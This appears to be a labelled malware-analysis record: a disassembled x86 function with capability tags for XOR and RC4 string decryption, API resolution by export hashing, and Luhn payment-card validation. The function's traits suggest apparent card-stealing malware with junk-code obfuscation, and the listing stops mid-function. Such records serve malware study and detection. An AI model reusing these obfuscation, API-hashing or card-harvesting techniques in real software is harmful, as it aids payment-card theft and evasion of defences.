Function at 0x406aa4
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Resolve function by parsing pe exports
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x48a]
mov esi, section..rdata
push ebx
sub esp, 0x55c
mov eax, dword [0x410ec0]
mov ebx, eax
mov dword [ebp - 0x540], eax
call fcn.0040c76c
mov ecx, 0x26
and ebx, 0x8caa2bb5
xor eax, eax
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x4b9]
mov esi, str.NtUpdateWnfStateData
mov ecx, 0x15
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x418], al
inc eax
cmp eax, 0x100
jne 0x406aee
mov esi, ebx
or ebx, 0x360731c9
xor edi, edi
xor ecx, ecx
or esi, 0xc7780032
mov dword [ebp - 0x53c], ebx
mov dword [0x410f68], esi
mov dword [0x410b28], ebx
mov al, byte [ebp + ecx - 0x418]
mov ebx, 0x14
xor edx, edx
mov byte [ebp - 0x544], al
mov eax, ecx
div ebx
movzx eax, byte [ebp + edx - 0x4b9]
movzx edx, byte [ebp - 0x544]
add eax, edx
add eax, edi
movzx edi, al
mov al, byte [ebp + edi - 0x418]
mov byte [ebp + ecx - 0x418], al
mov al, byte [ebp - 0x544]
inc ecx
mov byte [ebp + edi - 0x418], al
cmp ecx, 0x100
jne 0x406b21
xor eax, eax
cmp byte [eax + 0x413020], 0
je 0x406b8b
inc eax
cmp eax, 0x1a3e
jne 0x406b75
call fcn.0040c130
mov eax, dword [ebp - 0x540]
imul esi, esi, 0xf661731c
xor ebx, ebx
xor eax, 0xc2f09d6
mov dword [0x410c5c], esi
mov dword [0x410ec0], eax
call fcn.0040c7e4
xor ecx, ecx
xor edx, edx
inc edx
movzx edx, dl
movzx edi, byte [ebp + edx - 0x418]
add ecx, edi
movzx ecx, cl
mov al, byte [ebp + ecx - 0x418]
mov byte [ebp + edx - 0x418], al
mov eax, edi
mov byte [ebp + ecx - 0x418], al
add al, byte [ebp + edx - 0x418]
movzx eax, al
mov al, byte [ebp + eax - 0x418]
xor al, byte [ebx + ebp - 0x48a]
movzx eax, al
mov word [ebp + ebx*2 - 0x464], ax
inc ebx
cmp ebx, 0x26
jne 0x406bb2
mov ebx, dword [ebp - 0x53c]
mov byte [ebp - 0x52d], 0x4d
mov edx, str.ks_Arab
mov ecx, 0x788
mov word [ebp - 0x418], 0
mov word [ebp - 0x52f], 0xbf32
add ebx, 0x135f55aa
mov dword [0x410c08], ebx
movzx eax, word [edx]
add edx, 2
test ax, ax
je 0x406c79
add ecx, eax
cmp ecx, 0x8e0
jbe 0x406c38
mov dword [esp + 8], str.ks_Arab
mov dword [esp + 4], esi
mov dword [esp], 0x413020
call fcn.0040d638
call fcn.0040c7e4
mov eax, dword [0x410da4]
sub eax, 0x23f1f08e
mov dword [0x410ec0], eax
call fcn.0040df04
imul ebx, ebx, 0xc7c6c75f
mov edx, str.threadId
mov esi, dword [0x410ec0]
mov dword [ebp - 0x514], 0x472d616b
mov ecx, 0x61c
mov word [ebp - 0x510], 0x45
mov eax, esi
or eax, 0x610778c6
mov dword [ebp - 0x53c], eax
mov dword [0x410c5c], eax
mov eax, dword [ebp - 0x540]
and eax, 0x88aa0984
or eax, 0x81780002
sub eax, 0x35b56b5
imul eax, eax, 0xb7ecbea6
mov dword [0x410ec0], eax
movsx eax, byte [edx]
inc edx
test al, al
je 0x406cf0
add ecx, eax
cmp ecx, 0x129d
jbe 0x406cd9
call fcn.0040c130
lea eax, [ebx - 0x267d4387]
mov dword [ebp - 0x540], eax
call fcn.0040c130
xor ecx, ecx
xor eax, eax
cmp byte [eax + str.WilError_03], 0
je 0x406d25
inc eax
cmp eax, 0x17be
jne 0x406d05
mov eax, dword [0x410c08]
and eax, 0xeace2c9a
mov dword [0x410ec0], eax
mov eax, dword [ebp - 0x53c]
mov edi, esi
or edi, 0x733f7fd6
sub eax, 0x7af1a88a
mov dword [0x410da4], eax
call fcn.0040dc4c
mov byte [ebp + ecx - 0x318], cl
inc ecx
mov dword [0x410c08], edi
cmp ecx, 0x100
jne 0x406d03
xor esi, esi
xor ecx, ecx
mov al, byte [ebp + ecx - 0x318]
mov ebx, 5
xor edx, edx
mov byte [ebp - 0x544], al
mov eax, ecx
div ebx
movzx eax, byte [ebp + edx - 0x514]
movzx edx, byte [ebp - 0x544]
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x318]
mov byte [ebp + ecx - 0x318], al
mov al, byte [ebp - 0x544]
inc ecx
mov byte [ebp + esi - 0x318], al
cmp ecx, 0x100
jne 0x406d5c
xor ebx, ebx
xor ecx, ecx
xor edx, edx
inc edx
imul edi, edi, 0x8da44a25
movzx edx, dl
movzx esi, byte [ebp + edx - 0x318]
add ecx, esi
movzx ecx, cl
mov al, byte [ebp + ecx - 0x318]
mov byte [ebp + edx - 0x318], al
mov eax, esi
mov byte [ebp + ecx - 0x318], al
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0x544], eax
mov eax, edi
xor eax, 0x8b02268e
mov dword [ebp - 0x540], eax
mov eax, esi
add al, byte [ebp + edx - 0x318]
movzx eax, al
mov al, byte [ebp + eax - 0x318]
xor al, byte [ebx + ebp - 0x52f]
movzx eax, al
mov word [ebp + ebx*2 - 0x51a], ax
inc ebx
cmp ebx, 3
jne 0x406db4
mov ebx, dword [ebp - 0x544]
lea edi, [ebp - 0x500]
mov esi, str.tquery.dll
mov word [ebp - 0x514], 0
mov ecx, 0xb
mov eax, dword [ebp - 0x53c]
mov dword [ebp - 0x50e], 0x6c5d6abc
rep movsb byte es:[edi], byte [esi]
and ebx, 0x30e035ce
mov dword [ebp - 0x50b], 0xd6f7366c
mov dword [ebp - 0x540], ebx
xor eax, 0xe62c2bc8
mov dword [0x410da4], ebx
mov dword [0x410b28], eax
xor eax, eax
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jne 0x406e7f
mov eax, dword [0x410ec0]
xor edi, edi
xor esi, esi
sub eax, 0x3356fd7a
mov dword [ebp - 0x548], eax
mov eax, esi
mov ebx, 0xa
xor edx, edx
mov cl, byte [ebp + esi - 0x218]
div ebx
movzx eax, byte [ebp + edx - 0x500]
movzx edx, cl
add eax, edx
add eax, edi
movzx edi, al
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], cl
cmp esi, 0x100
jne 0x406ea2
mov esi, dword [ebp - 0x548]
cmp byte [0x4116ac], 0
mov byte [ebp - 0x119], al
mov byte [ebp + edi - 0x218], cl
mov dword [0x410c08], esi
je 0x406f18
mov ebx, dword [ebp - 0x540]
or ebx, 0x3b97276f
mov dword [0x410ec0], ebx
mov eax, dword [0x410ec0]
xor edi, edi
xor esi, esi
and eax, 0x16d324e2
mov dword [0x410f68], eax
mov eax, dword [ebp - 0x53c]
add eax, 0x6738405c
mov dword [0x410ec0], eax
call fcn.0040df04
mov eax, dword [ebp - 0x544]
xor edx, edx
and eax, 0x30a0304a
add eax, 0x70927e5a
mov dword [ebp - 0x540], eax
lea eax, [esi + 1]
cmp byte [0x411138], 0
movzx esi, al
mov bl, byte [ebp + esi - 0x218]
lea eax, [ebx + edi]
movzx edi, al
je 0x406f95
mov dword [ebp - 0x544], edx
call fcn.0040d028
mov eax, dword [ebp - 0x53c]
mov edx, dword [ebp - 0x544]
xor eax, 0x198b0ca2
mov dword [0x410ec0], eax
mov eax, dword [0x410ec0]
mov dword [ebp - 0x548], edx
add eax, 0x26d430ff
imul ecx, eax, 0x4811f06f
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
mov eax, dword [ebp - 0x540]
mov dword [0x410c08], ecx
mov dword [0x410f68], eax
or eax, 0x932656dd
mov dword [ebp - 0x544], ecx
mov dword [0x410b28], eax
call fcn.0040c76c
mov edx, dword [ebp - 0x548]
mov byte [ebp + edi - 0x218], bl
add bl, byte [ebp + esi - 0x218]
mov ecx, dword [ebp - 0x544]
movzx ebx, bl
mov al, byte [ebp + ebx - 0x218]
xor al, byte [ebp + edx - 0x50e]
mov byte [ebp + edx - 0x507], al
inc edx
cmp edx, 7
jne 0x406f58
mov ebx, ecx
lea edi, [ebp - 0x4e9]
mov esi, 0x412046
mov byte [ebp - 0x500], 0
xor ebx, 0x4447e852
mov ecx, 0xd
mov edx, str.HKEY_CLASSES_ROOT
rep movsb byte es:[edi], byte [esi]
mov dword [0x410c08], ebx
mov ecx, 0x1579
movsx eax, byte [edx]
inc edx
test al, al
je 0x407078
add ecx, eax
cmp ecx, 0x22c2
jbe 0x40704c
call fcn.0040c130
call fcn.0040df04
mov eax, dword [ebp - 0x540]
or eax, 0xf3e7fefd
mov dword [0x410c5c], eax
sub ebx, 0x2e7ab732
lea edi, [ebp - 0x4f5]
mov esi, 0x412053
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
and ebx, 0x92360f52
mov edx, 0x411678
mov ecx, 0x3e3
mov dword [ebp - 0x53c], ebx
movzx eax, byte [edx]
inc edx
test al, al
je 0x4070c7
add ecx, eax
cmp ecx, 0x962
jbe 0x4070a6
imul eax, dword [0x410c5c], 0x1dc41030
mov dword [0x410c5c], eax
mov edi, dword [ebp - 0x540]
mov eax, dword [0x410c5c]
mov ecx, 0x4116ac
and edi, 0x5a3738ce
mov dword [0x410b28], edi
movzx esi, byte [ecx]
lea edx, [esi - 0x30]
cmp dl, 9
ja 0x4070f1
inc ecx
jmp 0x4070e3
and eax, 0xa198afee
xor ebx, ebx
mov dword [0x410c08], eax
imul eax, dword [0x410ec0], 0xefbcb16e
mov dword [0x410ec0], eax
lea eax, [edi - 0xd88adbe]
mov dword [0x410f68], eax
call fcn.0040d028
mov byte [ebp + ebx - 0x118], bl
inc ebx
cmp ebx, 0x100
jne 0x4070fd
imul edi, edi, 0x3523977f
xor esi, esi
xor ebx, ebx
mov al, byte [ebp + ebx - 0x118]
mov ecx, 0xb
xor edx, edx
mov byte [ebp - 0x540], al
mov eax, ebx
div ecx
movzx eax, byte [ebp + edx - 0x4f5]
movzx edx, byte [ebp - 0x540]
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x118]
mov byte [ebp + ebx - 0x118], al
inc ebx
call fcn.0040d028
mov eax, dword [0x410f68]
mov dword [0x410ec0], edi
and eax, 0x89086e2d
mov dword [0x410c5c], eax
or eax, 0x24da3c7a
mov dword [0x410f68], eax
mov al, byte [ebp - 0x540]
mov byte [ebp + esi - 0x118], al
cmp ebx, 0x100
jne 0x407136
xor ebx, ebx
xor ecx, ecx
xor edx, edx
or dword [ebp - 0x53c], 0x3f7b055b
inc edx
movzx edx, dl
movzx edi, byte [ebp + edx - 0x118]
add ecx, edi
movzx ecx, cl
mov al, byte [ebp + ecx - 0x118]
mov byte [ebp + edx - 0x118], al
mov eax, edi
mov byte [ebp + ecx - 0x118], al
add al, byte [ebp + edx - 0x118]
movzx eax, al
mov al, byte [ebp + eax - 0x118]
xor al, byte [ebx + ebp - 0x4e9]
movzx eax, al
mov word [ebp + ebx*2 - 0x4a4], ax
inc ebx
cmp ebx, 0xd
jne 0x4071b2
mov eax, dword [ebp - 0x53c]
lea edi, [ebp - 0x4dc]
mov word [ebp - 0x48a], 0
mov esi, 0x40f080
mov ecx, 4
mov ebx, dword [0x40f970]
rep movsd dword es:[edi], dword [esi]
mov dword [0x410da4], eax
xor eax, eax
mov dword [ebp - 0x52c], eax
mov dword [ebp - 0x528], eax
mov eax, dword fs:[0x18]
mov dword [ebx + 0x1a0], eax
mov dword [esp], 0xd3a9173f
call fcn.004058e4
test eax, eax
mov dword [ebx + 0x124], eax
lea ebx, [ebp - 0x4dc]
je 0x408385
mov eax, dword [0x410ec0]
xor eax, 0xed6fff78
mov dword [0x410da4], eax
mov dword [esp + 4], 0x21fe0748
mov eax, dword [0x40f970]
mov eax, dword [eax + 0x124]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x10], edx
mov dword [esp + 4], 0xece09ad5
mov eax, dword [eax + 0x124]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0xc], edx
mov dword [esp + 4], 0x2f93a82c
mov eax, dword [eax + 0x124]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x14], edx
mov dword [esp + 4], 0x37249bc3
mov eax, dword [eax + 0x124]
mov dword [esp], eax
call fcn.00405450
mov edx, str.ks_Arab
mov ecx, 0x39c
mov esi, dword [0x40f970]
mov dword [esi + 0x18], eax
movzx eax, word [edx]
add edx, 2
test ax, ax
je 0x407358
add ecx, eax
cmp ecx, 0x25f4
jbe 0x407310
call fcn.0040c76c
mov dword [esp + 8], str.ks_Arab
mov eax, dword [0x410c08]
mov dword [esp], str.WilError_03
mov dword [esp + 4], eax
call fcn.0040d638
mov eax, dword [0x410b28]
or eax, 0xd2e636cd
mov dword [0x410c08], eax
jmp 0x407367
mov eax, dword [0x410b28]
xor eax, 0xac7703a
mov dword [0x410f68], eax
mov eax, dword [0x410b28]
or eax, 0x263d2922
mov dword [0x410da4], eax
mov dword [esp + 8], str.ks_Arab
mov eax, dword [0x410ec0]
mov dword [esp], str.WilError_03
mov dword [esp + 4], eax
call fcn.0040d638
mov eax, dword [0x410c08]
xor eax, 0x3aea4954
mov dword [0x410b28], eax
mov dword [esp + 4], 0x95ab27a9
mov eax, dword [esi + 0x124]
mov dword [esp], eax
call fcn.00405450
mov edx, str.threadId
mov ecx, 0x7e9
mov esi, dword [0x40f970]
mov dword [esi + 0x1c], eax
movsx eax, byte [edx]
inc edx
test al, al
je 0x4073f1
add ecx, eax
cmp ecx, 0x13f5
jbe 0x4073cb
mov eax, dword [0x410f68]
add eax, 0x61845c2a
mov dword [0x410c08], eax
call fcn.0040df04
mov eax, dword [0x410c08]
lea edx, [eax + 0x42299893]
add eax, 0x6ccbb373
mov dword [0x410c5c], edx
mov dword [0x410da4], eax
call fcn.0040c76c
mov dword [esp + 4], 0x4de31c18
mov eax, dword [esi + 0x124]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x20], edx
mov dword [esp + 4], 0xb53b9c2f
mov eax, dword [eax + 0x124]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x24], edx
mov dword [esp + 4], 0xa11367c7
mov eax, dword [eax + 0x124]
mov dword [esp], eax
call fcn.00405450
mov esi, dword [0x40f970]
mov edx, str.WilError_03
mov dword [esi + 0x28], eax
mov al, byte [edx]
test al, al
je 0x407496
sub eax, 0x30
cmp al, 9
jbe 0x407493
mov eax, dword [0x410c08]
sub eax, 0x7d1dda0a
mov dword [0x410da4], eax
jmp 0x407496
inc edx
jmp 0x407475
imul eax, dword [0x410da4], 0x4395a843
mov dword [0x410ec0], eax
call fcn.0040c130
mov dword [esp + 4], 0xda4f86ed
mov eax, dword [esi + 0x124]
mov dword [esp], eax
call fcn.00405450
mov edi, dword [0x40f970]
mov esi, dword [0x410f68]
mov dword [edi + 0x2c], eax
mov eax, dword [0x410b28]
sub eax, 0x3f8505e8
mov dword [0x410ec0], eax
call fcn.0040d574
cmp byte [str.WilError_03], 0
je 0x4074f8
and esi, 0x8aa8e38
mov dword [0x410ec0], esi
mov eax, dword [0x410c5c]
imul edx, eax, 0x4221fb51
imul eax, eax, 0x5613923d
mov dword [0x410da4], edx
mov dword [0x410b28], eax
call fcn.0040c7e4
mov dword [esp + 4], 0x7e1b69c1
mov eax, dword [edi + 0x124]
mov dword [esp], eax
call fcn.00405450
mov esi, dword [0x40f970]
mov dword [esi + 0x30], eax
mov dword [esp], 0xd0053267
call fcn.004058e4
mov dword [esi + 0x128], eax
test eax, eax
je 0x408385
mov eax, dword [0x410c08]
or eax, 0x463626a1
mov dword [0x410ec0], eax
mov dword [esp + 4], 0xf3555950
mov eax, dword [0x40f970]
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x34], edx
mov dword [esp + 4], 0xf5368ce9
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x38], edx
mov dword [esp + 4], 0xc0538de7
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, dword [0x40f970]
mov dword [edx + 0x3c], eax
imul eax, dword [0x410b28], 0x6bb5c13f
mov dword [0x410ec0], eax
mov eax, dword [0x410c5c]
imul ecx, eax, 0x913a7848
imul eax, eax, 0x7e5fcd00
mov dword [0x410da4], ecx
mov dword [0x410b28], eax
mov dword [esp + 4], 0x6ba55f69
mov eax, dword [edx + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x40], edx
mov dword [esp + 4], 0xd38c4834
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x44], edx
mov dword [esp + 4], 0x8a7e63e2
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x5c], edx
mov dword [esp + 4], 0xa6a06e22
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x60], edx
mov dword [esp + 4], 0xfce1f82e
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, dword [0x40f970]
mov dword [edx + 0x64], eax
mov eax, dword [0x410ec0]
add eax, 0x2929c81f
mov dword [0x410c5c], eax
mov dword [esp + 4], 0xf287911c
mov eax, dword [edx + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, dword [0x40f970]
mov dword [edx + 0x68], eax
mov eax, dword [0x410b28]
and eax, 0xcd8e8c0c
add eax, 0x2cd33fe5
mov dword [0x410da4], eax
mov dword [esp + 4], 0x345e8e0
mov eax, dword [edx + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, 0x413020
mov ecx, 0x677
mov edi, dword [0x40f970]
mov dword [edi + 0x48], eax
movsx eax, byte [edx]
inc edx
test al, al
je 0x40772c
add ecx, eax
cmp ecx, 0x2237
jbe 0x4076fa
mov eax, dword [0x410b28]
add eax, 0x3bba48ee
mov dword [0x410f68], eax
call fcn.0040c130
xor dword [0x410c08], 0x16ee9c31
jmp 0x40773b
mov eax, dword [0x410c08]
add eax, 0x6032de9c
mov dword [0x410c5c], eax
mov esi, dword [0x410c5c]
mov eax, esi
xor eax, 0x692c81a6
mov dword [0x410da4], eax
mov dword [esp + 8], str.ks_Arab
mov dword [esp + 4], esi
mov dword [esp], 0x411138
call fcn.0040d638
mov edx, 0x4116ac
mov ecx, 0x12e6
movzx eax, byte [edx]
inc edx
test al, al
je 0x40778b
add ecx, eax
cmp ecx, 0x205a
jbe 0x40776f
call fcn.0040c130
call fcn.0040dc4c
mov eax, esi
xor esi, 0x1d484376
xor eax, 0xa267ce1f
mov dword [0x410c08], esi
mov dword [0x410f68], eax
call fcn.0040d574
mov dword [esp + 4], 0xa9095f05
mov eax, dword [edi + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, dword [0x40f970]
mov dword [edx + 0x7c], eax
mov eax, dword [0x410da4]
xor eax, 0x13cc27a4
mov dword [0x410f68], eax
mov dword [esp + 4], 0xc9ad8746
mov eax, dword [edx + 0x128]
mov dword [esp], eax
call fcn.00405450
mov esi, dword [0x40f970]
xor dword [0x410c5c], 0x2a5e5b82
xor dword [0x410da4], 0x840d5633
mov dword [esi + 0x80], eax
mov dword [esp + 8], str.ks_Arab
mov eax, dword [0x410f68]
mov dword [esp], str.WilError_03
mov dword [esp + 4], eax
call fcn.0040d638
mov dword [esp + 4], 0xdc1e321a
mov eax, dword [esi + 0x128]
mov esi, 0x354
mov dword [esp], eax
call fcn.00405450
mov ecx, dword [0x40f970]
mov edx, str.WilError_03
mov dword [ecx + 0x84], eax
movzx eax, byte [edx]
inc edx
test al, al
je 0x407878
add esi, eax
cmp esi, 0x26e6
jbe 0x407855
mov eax, dword [0x410f68]
sub eax, 0xdae6541
mov dword [0x410c08], eax
jmp 0x407887
mov eax, dword [0x410c5c]
add eax, 0x5496d4cc
mov dword [0x410da4], eax
mov eax, dword [0x410c08]
sub eax, 0x38e9c579
mov dword [0x410c5c], eax
mov dword [esp + 4], 0xd69b250d
mov eax, dword [ecx + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, dword [0x40f970]
mov dword [edx + 0x88], eax
mov eax, dword [0x410ec0]
or eax, 0xc1e28222
mov dword [0x410f68], eax
mov dword [esp + 4], 0xad232388
mov eax, dword [edx + 0x128]
mov dword [esp], eax
call fcn.00405450
mov esi, dword [0x40f970]
mov dword [esi + 0x74], eax
mov eax, dword [0x410b28]
sub eax, 0x6290ada9
mov dword [0x410f68], eax
imul eax, dword [0x410c5c], 0x408c4a01
mov dword [0x410c5c], eax
call fcn.0040c7e4
mov dword [esp + 4], 0x3556ad7a
mov eax, dword [esi + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x78], edx
mov dword [esp + 4], 0x8eb4ba61
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x8c], edx
mov dword [esp + 4], 0xe5301a79
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x90], edx
mov dword [esp + 4], 0xe7633473
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x94], edx
mov dword [esp + 4], 0x1fba6bb9
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x98], edx
mov dword [esp + 4], 0xb8a68847
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, str.threadId
mov ecx, 0x1153
mov esi, dword [0x40f970]
mov dword [esi + 0x9c], eax
movsx eax, byte [edx]
inc edx
test al, al
je 0x407a07
add ecx, eax
cmp ecx, 0x196b
jbe 0x4079e1
call fcn.0040c76c
mov eax, dword [0x410da4]
xor eax, 0xeca0d732
mov dword [0x410f68], eax
mov eax, dword [0x410ec0]
add dword [0x410f68], 0x3885bd51
and eax, 0xfac6d4f
mov dword [0x410c08], eax
add eax, 0x28c436a0
mov dword [0x410c5c], eax
mov dword [esp + 4], 0xa419fd7a
mov eax, dword [esi + 0x128]
mov esi, 0x1032
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0xa0], edx
mov dword [esp + 4], 0xd6fc10f1
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov ecx, dword [0x40f970]
mov edx, 0x413020
mov dword [ecx + 0xa4], eax
movsx eax, byte [edx]
inc edx
test al, al
je 0x407a8b
add esi, eax
cmp esi, 0x1c10
jbe 0x407a79
mov eax, dword [0x410ec0]
mov edx, eax
xor edx, 0xe03f2128
mov dword [0x410c5c], edx
xor edx, edx
cmp byte [edx + str.threadId], 0
je 0x407ac4
inc edx
cmp edx, 0x22f1
jne 0x407aa0
mov edx, dword [0x410c08]
or edx, 0x21b6946c
mov dword [0x410c5c], edx
imul edx, dword [0x410f68], 0x51fde88a
sub eax, 0x2fb83d1c
mov dword [0x410b28], eax
mov dword [0x410da4], edx
mov dword [esp + 4], 0xcd4835d9
mov eax, dword [ecx + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, dword [0x40f970]
mov dword [edx + 0xac], eax
mov eax, dword [0x410ec0]
or eax, 0x3218f0d3
mov dword [0x410da4], eax
mov eax, dword [0x410c5c]
xor eax, 0xcf821127
mov dword [0x410b28], eax
mov dword [esp + 4], 0x606b13e4
mov eax, dword [edx + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0xb0], edx
mov dword [esp + 4], 0xf548b05e
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, dword [0x40f970]
mov dword [edx + 0xb4], eax
mov eax, dword [0x410c5c]
xor eax, 0x6447fcfd
mov dword [0x410ec0], eax
mov dword [esp + 4], 0x6a35fefb
mov eax, dword [edx + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0xb8], edx
mov dword [esp + 4], 0x6034702
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0xbc], edx
mov dword [esp + 4], 0x4e4d0c8a
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0xc0], edx
mov dword [esp + 4], 0xeb7c8615
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x6c], edx
mov dword [esp + 4], 0xe38a5ad5
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x70], edx
mov dword [esp + 4], 0xfd74096c
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
or dword [0x410b28], 0x1d89f48e
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x4c], edx
mov dword [esp + 4], 0xc0a26bed
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x50], edx
mov dword [esp + 4], 0x7e6e85a4
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, eax
mov eax, dword [0x40f970]
mov dword [eax + 0x54], edx
mov dword [esp + 4], 0xe6d174e4
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00405450
mov edx, dword [0x40f970]
mov dword [edx + 0x58], eax
call fcn.004015dc
mov dword [ebp - 0x53c], eax
test eax, eax
jne 0x408385
lea eax, [ebp - 0x464]
mov dword [esp + 4], 1
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp], eax
mov eax, dword [0x40f970]
call dword [eax + 0x6c]
mov eax, dword [0x40f970]
sub esp, 0xc
call dword [eax + 0x70]
cmp eax, 0xb7
je 0x408385
call fcn.00405dc4
mov edx, dword [0x410c5c]
mov ecx, str.WilError_03
lea eax, [edx + 0x6a0b311c]
mov dword [0x410c08], eax
mov al, byte [ecx]
test al, al
je 0x407d25
sub eax, 0x30
cmp al, 9
jbe 0x407d22
xor edx, 0xbbdb052a
mov dword [0x410ec0], edx
jmp 0x407d25
inc ecx
jmp 0x407d07
mov eax, dword [0x410ec0]
xor esi, esi
and eax, 0xf5caacb9
mov dword [0x410c5c], eax
call fcn.0040dc4c
mov dword [esp], 1
call fcn.0040b99c
imul eax, dword [0x410f68], 0x26baf4b9
mov dword [0x410da4], eax
add eax, 0x6361c07c
mov dword [0x410c5c], eax
call fcn.0040d574
mov dword [esp + 4], 4
mov dword [esp], ebx
call fcn.0040b948
call dword [ebx + esi*4]
test eax, eax
je 0x408385
inc esi
cmp esi, 4
jne 0x407d75
mov eax, dword [0x410b28]
or dword [0x410ec0], 0xc24633c9
mov edx, eax
and edx, 0x87f8203c
mov dword [0x410f68], edx
mov dword [esp + 4], eax
mov dword [esp + 8], str.ks_Arab
mov dword [esp], 0x411678
call fcn.0040d638
mov eax, dword [0x40f970]
mov dword [eax + 0x150], 0xffff
mov dword [esp], 0xffffffff
call fcn.00409b90
test eax, eax
mov eax, dword [0x40f970]
je 0x407dea
mov word [eax + 0x150], 9
jmp 0x407dfd
add dword [0x410f68], 0x25f057b3
mov word [eax + 0x150], 0
lea edx, [ebp - 0x52c]
xor esi, esi
xor edi, edi
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x51a]
mov dword [esp], edx
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], esi
mov dword [esp + 8], edi
mov dword [esp + 4], edi
call dword [eax + 0x4c]
mov edx, str.threadId
mov ecx, 0x7ff
sub esp, 0x20
movsx eax, byte [edx]
inc edx
test al, al
je 0x407e5f
add ecx, eax
cmp ecx, 0x26fa
jbe 0x407e3c
mov eax, dword [0x410da4]
sub eax, 0x38c9e691
mov dword [0x410b28], eax
jmp 0x407e69
and dword [0x410f68], 0x4713d160
mov eax, dword [0x410b28]
or eax, 0xc51b8dd3
mov dword [0x410c5c], eax
call fcn.0040c7e4
mov dword [esp + 4], 0x208
mov dword [esp], 0x40
mov eax, dword [0x40f970]
call dword [eax + 0x50]
mov edi, eax
push ecx
push ecx
mov eax, dword [0x410f68]
lea edx, [eax - 0x71147e14]
and eax, 0x742a7fd9
mov dword [0x410da4], edx
imul edx, dword [0x410ec0], 0x779161e4
mov dword [0x410ec0], eax
mov dword [0x410c5c], edx
mov dword [esp + 4], 0x208
mov dword [esp], 0x40
mov eax, dword [0x40f970]
call dword [eax + 0x50]
mov edx, str.WilError_03
push ebx
mov esi, eax
push ebx
imul eax, dword [0x410c08], 0x40270734
mov dword [0x410c08], eax
mov al, byte [edx]
test al, al
je 0x407f13
sub eax, 0x30
cmp al, 9
jbe 0x407f10
